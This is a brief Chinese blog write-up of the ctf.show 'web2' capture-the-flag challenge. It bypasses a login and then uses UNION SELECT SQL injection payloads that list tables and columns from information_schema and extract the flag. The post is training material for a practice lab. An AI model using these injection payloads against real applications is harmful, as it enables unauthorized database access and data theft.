ctf.show_web2

最新推荐文章于 2024-05-01 02:50:55 发布

huamanggg

最新推荐文章于 2024-05-01 02:50:55 发布

阅读量787

点赞数

分类专栏：刷题记录文章标签： mysql sql 数据仓库

本文链接：https://blog.csdn.net/m0_51078229/article/details/113529722

版权

25 篇文章 2 订阅

订阅专栏

万能密码回显成功
在这里插入图片描述
查询字段数没有回显
那就联合查询union select，从1试到1,2,3发现三个字段，而且回显位置是第二个

所以开始查询表名

1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#

在这里插入图片描述
出现了flag字段，开始查询flag表的字段名

1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=`flag`#

在这里插入图片描述
字段名就叫flag

整理一下思路：
我们现在知道了放flag的表名就叫flag
我们知道了放flag的列在flag表的flag字段

接下来就直接去这个名为flag的表里把字段为flag的记录查询出来

1' union select 1,flag,3 from flag#

在这里插入图片描述
大功告成

关注